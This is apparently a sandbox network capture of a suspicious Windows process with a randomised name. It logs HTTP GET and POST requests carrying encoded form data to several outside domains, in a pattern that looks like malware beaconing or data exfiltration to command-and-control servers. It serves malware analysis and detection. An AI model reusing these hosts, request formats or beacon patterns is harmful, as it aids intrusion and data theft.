Nov 7, 2024 10:53:00.369112968 CET	1758	OUT	Data Raw: 6a 69 4a 41 57 75 2b 30 78 64 35 4a 6b 38 43 4f 76 77 6c 42 4f 69 56 59 55 59 65 56 58 75 4a 38 52 44 46 77 67 4d 78 56 61 7a 51 6d 4b 4a 62 75 49 6b 63 66 50 47 54 73 6f 73 66 4c 46 32 39 51 43 33 4f 45 69 6d 4a 75 6e 4e 74 43 5a 73 53 79 74 4f Data Ascii: jiJAWu+0xd5Jk8COvwlBOiVYUYeVXuJ8RDFwgMxVazQmKJbuIkcfPGTsosfLF29QC3OEimJunNtCZsSytOP96S0ecPrcbXlM5d6kAGo5RBPMpqp2jF6XHGRWu1kTUSGbS8Pj63PFnvR6TzT4uDSE3q5OZTltH2Rrn2uoPmdt9dQtnS2KiGCoOurNTkM+MNJCdMIkRAMGXc3GMtcXBY051QDQCb3EmClIUSs+QpO0MJxcOLDoaDA
Nov 7, 2024 10:53:01.204752922 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:53:01 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Nov 7, 2024 10:53:01.204865932 CET	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49210	142.250.185.115	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:02.904683113 CET	535	OUT	GET /m6se/?Vta=nFypuDtholF&mFptYb=tpLSjTwEMN9ZKyp9qVSTFKrjCn9ygWFWt49InxX861XvXeuMycl5+MP/OGAzrS8FX3YfTT6PzpVF+4Zez3QIzOzSaqsrWwxbsC4SLAepSA8UeSOwbSX7uDAGPo/m HTTP/1.1 Host: www.digitaladpro.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:53:03.748545885 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:53:03 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1718 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Nov 7, 2024 10:53:03.749058962 CET	689	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49211	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:08.913045883 CET	2472	OUT	POST /y0sc/ HTTP/1.1 Host: www.loginov.enterprises Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.loginov.enterprises Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.loginov.enterprises/y0sc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 4c 31 4b 2f 7a 61 61 2f 56 48 7a 69 70 44 6a 44 73 39 64 4c 4d 43 4e 43 6d 79 2f 4e 75 49 75 34 49 79 37 56 37 59 66 76 4b 31 54 36 7a 6a 47 34 31 52 4f 55 65 65 66 37 4c 30 65 5a 56 79 70 31 62 4b 4c 45 36 52 64 35 58 2b 79 4a 74 4f 59 36 43 4a 36 57 45 4d 67 57 78 74 4b 72 51 4b 39 69 66 42 52 77 72 79 4a 59 65 49 77 63 45 68 71 34 50 35 6b 45 33 34 36 53 52 75 2b 55 7a 74 35 6a 6c 34 45 6e 73 4f 58 41 77 4f 43 78 75 73 2f 59 4e 6d 78 59 35 49 4d 66 55 68 42 33 68 68 34 55 76 73 49 57 76 2f 46 61 55 38 30 71 6f 4f 74 71 33 6c 72 6c 6c 4b 39 4d 69 63 42 61 4e 69 71 66 55 67 49 63 53 45 54 32 46 49 53 4e 55 33 61 4c 65 65 6d 69 59 75 45 57 36 6b 45 5a 46 32 6f 55 45 31 4a 61 47 59 30 4a 51 33 2b 63 4d 4c 59 35 2f 31 6f 36 33 47 4d 2f 51 61 55 30 6b 6b 56 56 66 66 44 69 42 79 5a 31 66 7a 34 33 39 47 33 74 30 65 4f 53 66 75 4f 6a 58 64 2b 4e 61 70 56 35 44 6e 5a 68 65 56 77 30 67 34 5a 6a 57 68 71 35 63 49 35 35 75 78 68 6e 6a 49 72 42 42 64 78 64 6a 53 4f 68 54 47 36 4a 53 47 [TRUNCATED] Data Ascii: mFptYb=gL1K/zaa/VHzipDjDs9dLMCNCmy/NuIu4Iy7V7YfvK1T6zjG41ROUeef7L0eZVyp1bKLE6Rd5X+yJtOY6CJ6WEMgWxtKrQK9ifBRwryJYeIwcEhq4P5kE346SRu+Uzt5jl4EnsOXAwOCxus/YNmxY5IMfUhB3hh4UvsIWv/FaU80qoOtq3lrllK9MicBaNiqfUgIcSET2FISNU3aLeemiYuEW6kEZF2oUE1JaGY0JQ3+cMLY5/1o63GM/QaU0kkVVffDiByZ1fz439G3t0eOSfuOjXd+NapV5DnZheVw0g4ZjWhq5cI55uxhnjIrBBdxdjSOhTG6JSGhOR3aT6gYek2UCrm9MeA77wWFRvaQDQLLeTvCVDT7DVVpUSttZUVk4HEn2NeADD2z3kxF8a74TN7I065P9Tv2o/TV6KWCrP8HkFNXIUH/uzBeYd+X/jbo8pNkniLnf1nGKrwqUDewWwRVul1gy8klS0c0OLiGohqhhkFflaOU0lK+9laggYUPTAzoPPlf+euz7UmQB1vThfliEUo0bxkF2V4GcCf/6jc1rl7FrdTKjX/hFhgFmc0S2KToNxCfBbZBqO/w+QVsRuNItJu8a0x9CUi8hfizocCXCvRntAaK/Lrgm2YcEU4I7Y0ecWOfx7SVIzw8aFZsy4milAYKcrYVcmsxG4VPYNwRL0ss9Ov+W10ZqPCSdxfb5XkSbupIlIpZs2O2123AIbawgv7rQRmKrTBbeSE9BdiLpsfoltMbGKz6kyHw9Cfll/VFhWirtHDE9qzTxWxHcozgFLNKJme3KITO6Vo6Q+OS2q+V9pKGAU+D8kpVJ67l647sW4JHgiHZfr0VSE2G/TtqrL1LvRnwH2b8gxP/J1HG4TyweXyZFXKGBVId1BXDulCYDvtC6C+VFNThlG4ImGFBTBer35IRDdpq2n7N9q+fZZo0jk75a0kA8aZ/r1mw1rYdspwDxmlDtLRgKBqNLgZh/V7s53/4G3jdQoN3Tf/Sd [TRUNCATED]
Nov 7, 2024 10:53:08.924796104 CET	300	OUT	Data Raw: 41 4e 77 48 41 65 6e 65 37 6f 39 4c 5a 74 46 4c 45 70 33 72 32 72 4a 32 2b 56 4c 73 58 57 2f 63 38 58 64 68 6e 57 4b 49 4c 39 33 55 4b 6b 5a 46 55 52 61 6c 33 7a 2f 48 67 30 36 32 2f 2b 58 55 52 58 33 30 6a 45 4b 2b 65 4f 44 4c 57 75 75 54 35 6a Data Ascii: ANwHAene7o9LZtFLEp3r2rJ2+VLsXW/c8XdhnWKIL93UKkZFURal3z/Hg062/+XURX30jEK+eODLWuuT5jmsW+qjFba8/CeNjdPGLBXb+IJic2/LTbuNPiSh3aiFCHtXReBrOFQ4JzQX3V3I+/zcw+XJ4SQxNopC86KbE83AikbcfaT1GQpZdEDDGHvoTpnJckbno+uNJKIEf+3pkXd6rzzbnCST9ez9N7Dk7+3VuFIDeGTmaEV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49212	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:11.472779989 CET	811	OUT	POST /y0sc/ HTTP/1.1 Host: www.loginov.enterprises Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.loginov.enterprises Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.loginov.enterprises/y0sc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 4c 31 4b 2f 7a 61 61 2f 56 48 7a 69 70 2f 6a 5a 5a 42 64 61 63 43 4e 48 6d 79 2f 45 4f 49 67 34 49 32 73 56 35 30 50 6f 38 52 54 37 69 54 47 34 6d 70 4f 56 65 65 59 77 72 30 61 54 31 79 77 31 62 4b 74 45 2b 5a 64 35 58 71 79 4a 49 4b 59 72 58 6c 37 4c 6b 4d 69 44 68 74 48 72 51 47 65 69 66 4e 42 77 76 4f 4a 59 5a 73 77 54 6b 52 71 6f 39 42 6b 53 58 34 38 61 78 75 74 55 7a 70 57 6a 6c 70 6f 6e 74 79 58 41 42 43 43 32 38 30 2f 53 38 6d 78 52 5a 49 4a 46 45 68 53 32 79 4d 58 53 75 38 45 53 4f 44 36 54 6e 67 6d 33 37 6d 6a 67 6c 52 5a 7a 6b 79 56 42 6e 4e 39 5a 76 37 57 4e 51 3d 3d Data Ascii: mFptYb=gL1K/zaa/VHzip/jZZBdacCNHmy/EOIg4I2sV50Po8RT7iTG4mpOVeeYwr0aT1yw1bKtE+Zd5XqyJIKYrXl7LkMiDhtHrQGeifNBwvOJYZswTkRqo9BkSX48axutUzpWjlpontyXABCC280/S8mxRZIJFEhS2yMXSu8ESOD6Tngm37mjglRZzkyVBnN9Zv7WNQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49213	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:14.014554977 CET	2472	OUT	POST /y0sc/ HTTP/1.1 Host: www.loginov.enterprises Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.loginov.enterprises Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.loginov.enterprises/y0sc/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 67 4c 31 4b 2f 7a 61 61 2f 56 48 7a 69 49 76 6a 4b 4b 70 64 4b 4d 43 4f 61 57 79 2f 4e 75 49 73 34 49 79 73 56 37 59 66 76 4f 64 54 36 78 62 47 34 46 52 4f 54 65 65 59 79 72 30 65 5a 56 79 6d 31 66 69 62 45 36 56 6e 35 55 47 79 4a 70 61 59 36 42 52 36 66 6b 4d 67 55 78 74 45 72 51 47 48 69 66 64 4e 77 76 43 76 59 5a 6b 77 54 57 4a 71 35 39 42 6c 64 33 34 38 61 78 75 62 55 7a 6f 48 6a 6c 78 5a 6e 73 62 53 41 79 4b 43 32 65 73 2f 54 64 6d 77 41 4a 49 4e 4a 6b 68 48 33 68 74 42 55 76 73 4d 57 75 62 76 61 55 67 30 34 4b 32 74 71 30 64 6f 35 46 4b 69 43 43 63 42 55 74 69 6f 66 55 68 58 63 53 45 54 32 42 49 53 4c 55 33 61 4c 66 65 6c 2f 6f 75 45 65 61 6b 4e 64 45 4b 37 55 43 5a 6e 61 46 51 43 4b 6a 37 2b 64 4f 54 59 75 2f 31 6f 71 58 48 46 2f 51 61 5a 74 30 6b 4a 56 66 48 31 69 42 69 4a 31 66 7a 34 33 2b 4f 33 37 32 32 4f 43 2f 75 4f 2b 48 64 37 57 71 70 57 35 43 53 36 68 65 52 77 30 68 51 5a 6a 6b 4a 71 79 2b 51 2b 79 2b 78 69 74 44 49 70 46 42 63 72 64 69 2b 30 68 54 4f 41 4a 53 32 [TRUNCATED] Data Ascii: mFptYb=gL1K/zaa/VHziIvjKKpdKMCOaWy/NuIs4IysV7YfvOdT6xbG4FROTeeYyr0eZVym1fibE6Vn5UGyJpaY6BR6fkMgUxtErQGHifdNwvCvYZkwTWJq59Bld348axubUzoHjlxZnsbSAyKC2es/TdmwAJINJkhH3htBUvsMWubvaUg04K2tq0do5FKiCCcBUtiofUhXcSET2BISLU3aLfel/ouEeakNdEK7UCZnaFQCKj7+dOTYu/1oqXHF/QaZt0kJVfH1iBiJ1fz43+O3722OC/uO+Hd7WqpW5CS6heRw0hQZjkJqy+Q+y+xitDIpFBcrdi+0hTOAJS2hOTfaVbgYfU2XYbm5dON07wO/RvPlDWTLYCvCEBL8GlUDfCsidUVG4HBw2M+ACyuz2kRF4tX/R97P/a5Yzzvio+zN6OKSr+MHk1NXMyT4gDBXW9+F1DbA8pNWnjrofgjGKpkqUWywWwRSrl1irspGS0AwOLuWonOhh3dflbOUgVK+nVan5IUrTA3ePPNh/u6z63OQH33Tj/lkCUpTfxlv2WAGcGGn6no1oHTFq5nKr3/fDRgKmc1h2KnkNxSlBZ9BqLTw4UJsOONFhpuwXUxWCUaWhevWoYeXBPxngRaK5rruk2YcO04A7Y9hcXihx+uVIn08OVZv/YmhnAYVKrZScm8xG4ZPYOwRLHEs3Z7+el0f1fCEIBC05X1tbsFYlO5ZsnO2y0vHQLa2xf7xURmirTBHeTctBsCLpeXojJQcNKz5qSHZyieUl/F7hWGBuwTE9rjTxlZHbYzgFLNFJme7KIf86QUDQ+OSkvSV9byGI0+8+koREa7F65PGW8kigibZf6UVSE2ByDtpir1KvRaiH2begxD/JAHG4B6wZxmZC3KGMFIcsxXCulCIDtJS6D+VE9zhgAMJuWFAVBfyiJNPDd0/2jjN8aCfbLA0gU75T0kD26Y91Fi01rF2stsTxX1DjY5gRG+OQAZg7V7u53z1G3rFQo1dTcPSc [TRUNCATED]
Nov 7, 2024 10:53:14.025651932 CET	1764	OUT	Data Raw: 41 4e 78 51 41 66 6e 30 37 73 74 4c 5a 73 6c 4c 46 4b 50 72 32 4c 4a 70 78 31 4c 6c 58 57 2f 61 38 58 46 32 6e 55 65 69 4c 36 50 55 4d 32 68 46 54 69 79 6c 2b 6a 2f 5a 67 30 37 35 79 65 62 62 52 58 33 53 6a 45 4f 2b 65 4f 54 4c 57 70 36 54 2b 54 Data Ascii: ANxQAfn07stLZslLFKPr2LJpx1LlXW/a8XF2nUeiL6PUM2hFTiyl+j/Zg075yebbRX3SjEO+eOTLWp6T+TmzbuqifLa/2ieRjdPSLEHl+IdibkHLTpWNPSSn+6iWInoIReFvOHIOKBYXx3PI1tbc0eXMmiQGNol68+utE9n6i2vceqT1NyBaM0DFBHvlTpnxckTjo/zAJOEEf8vp2Xd5sDzBkCTO9e3QN7LK7+nVuAYDMWDmTkV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.22	49214	3.33.130.190	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:16.552550077 CET	537	OUT	GET /y0sc/?mFptYb=tJdq8Dqw4hWr1P6qEoxHD8OlFm+HKuZ69MCgVLcAx6ZVjDjmpjdFVs/kycs0W1S/0p2sAvBc0lWbLbeb6h4QLTxDUgZUmiCBrM9D9onPOIUOQ3sXksUDVUExaBXH&Vta=nFypuDtholF HTTP/1.1 Host: www.loginov.enterprises Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:53:17.170526981 CET	402	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 09:53:17 GMT Content-Type: text/html Content-Length: 262 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 46 70 74 59 62 3d 74 4a 64 71 38 44 71 77 34 68 57 72 31 50 36 71 45 6f 78 48 44 38 4f 6c 46 6d 2b 48 4b 75 5a 36 39 4d 43 67 56 4c 63 41 78 36 5a 56 6a 44 6a 6d 70 6a 64 46 56 73 2f 6b 79 63 73 30 57 31 53 2f 30 70 32 73 41 76 42 63 30 6c 57 62 4c 62 65 62 36 68 34 51 4c 54 78 44 55 67 5a 55 6d 69 43 42 72 4d 39 44 39 6f 6e 50 4f 49 55 4f 51 33 73 58 6b 73 55 44 56 55 45 78 61 42 58 48 26 56 74 61 3d 6e 46 79 70 75 44 74 68 6f 6c 46 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?mFptYb=tJdq8Dqw4hWr1P6qEoxHD8OlFm+HKuZ69MCgVLcAx6ZVjDjmpjdFVs/kycs0W1S/0p2sAvBc0lWbLbeb6h4QLTxDUgZUmiCBrM9D9onPOIUOQ3sXksUDVUExaBXH&Vta=nFypuDtholF"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49215	154.23.184.95	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:53:22.203635931 CET	2472	OUT	POST /1bs4/ HTTP/1.1 Host: www.wcp95.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.wcp95.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.wcp95.top/1bs4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 41 46 4e 72 38 44 59 4d 72 6c 76 6b 4b 32 6d 2f 66 37 5a 49 6f 4a 57 4a 34 58 37 42 35 75 34 68 34 4d 54 67 41 30 43 71 48 55 35 7a 57 59 75 42 6a 41 72 34 33 69 44 6f 78 6f 33 4e 44 63 68 72 42 56 62 71 42 6b 59 49 61 6e 30 48 73 33 66 37 66 44 49 65 51 6a 45 72 62 72 63 36 77 59 77 45 6b 33 4b 69 37 65 5a 4b 32 41 45 33 6d 4c 64 2f 74 79 33 31 67 50 46 42 56 63 61 4d 45 79 4b 49 48 77 35 4e 70 4a 2b 56 37 58 56 5a 56 49 76 79 54 6a 54 2f 61 4d 6d 67 6d 66 33 54 61 45 64 42 72 46 76 31 65 4e 63 7a 57 2f 63 51 35 30 7a 63 6e 62 7a 41 6a 6b 6b 64 78 58 4f 51 78 65 5a 35 7a 61 70 48 35 53 5a 75 58 30 51 4f 65 44 4c 53 34 4f 75 6b 61 4d 4a 6c 2f 72 71 61 70 68 68 55 4c 72 42 43 63 4e 6c 47 33 57 6a 65 4c 73 54 62 75 61 6a 35 70 4f 51 52 38 31 4a 2b 71 4c 77 36 57 4d 66 6d 42 4e 2b 4c 58 66 75 42 53 59 63 37 6f 66 4b 30 72 78 44 4c 44 57 46 64 6b 35 4a 68 53 52 36 64 38 4a 34 71 53 78 35 7a 4f 6a 43 57 35 48 6b 30 57 38 41 75 30 62 47 65 42 37 34 4a 51 72 52 5a 36 42 6c 45 49 67 52 [TRUNCATED] Data Ascii: mFptYb=AFNr8DYMrlvkK2m/f7ZIoJWJ4X7B5u4h4MTgA0CqHU5zWYuBjAr43iDoxo3NDchrBVbqBkYIan0Hs3f7fDIeQjErbrc6wYwEk3Ki7eZK2AE3mLd/ty31gPFBVcaMEyKIHw5NpJ+V7XVZVIvyTjT/aMmgmf3TaEdBrFv1eNczW/cQ50zcnbzAjkkdxXOQxeZ5zapH5SZuX0QOeDLS4OukaMJl/rqaphhULrBCcNlG3WjeLsTbuaj5pOQR81J+qLw6WMfmBN+LXfuBSYc7ofK0rxDLDWFdk5JhSR6d8J4qSx5zOjCW5Hk0W8Au0bGeB74JQrRZ6BlEIgR1JTOprR16C7meh57OBc4m4J9N1UwX3O/3L3i0emBAtWCFsUsuo1OeXLGfUze9xc24BPaBbEy8M+Yc9T1KoQL32z0F7gODLvsvZ94qkBMejRMFcfNUkb/kFxnweWAZmdN4nxN5AziyGqW1arCV/R62Oy2HEmyq9xhycmyVut7X5k+G6WM9RM/uxioAA7ZPwpzro+LBb+dCxvoYbOz5emRuhc3nkC3znDSN1nVmrcfyvodDTmEJFvaKEplrONwLuATqvFvGYeBWiDlFx0jZV27c7FA7/vYdyUHEQUiVt2ERJVpijnxHlwtomwCBeNMlP+mZielRkYoE5uDGeo+UMEB85SZkY+xMvfQQSQ8f9ImyN1dxKI8LGVekxcEV/y4w+8Ri7HIoL5RSeHufkHyoW2s935k9nVNH31X/ff/i/QWQBCQfUY4nuxulGhf9C4QKi8UhpbEBcuyDvLzbXe2DC6SJa3R3bSZFL+SkyQzv1SrdABR6Vv14xK3q43e6Z+OaeYkxvMbI3ULJ82xPmtWkWrA2h13ms+a8R6245LzortkOaFJcaJiNOnFXv0SyFTL40WMXySFxrQJ9GzWY1vpsrB+E5zSjBWzbkMS0idnO84UtzUKx8dtVrO2r4Fb6jqxdaCqjOLsEJgRUdd6BxsHd2N53ftDT9sO2B8r+b [TRUNCATED]
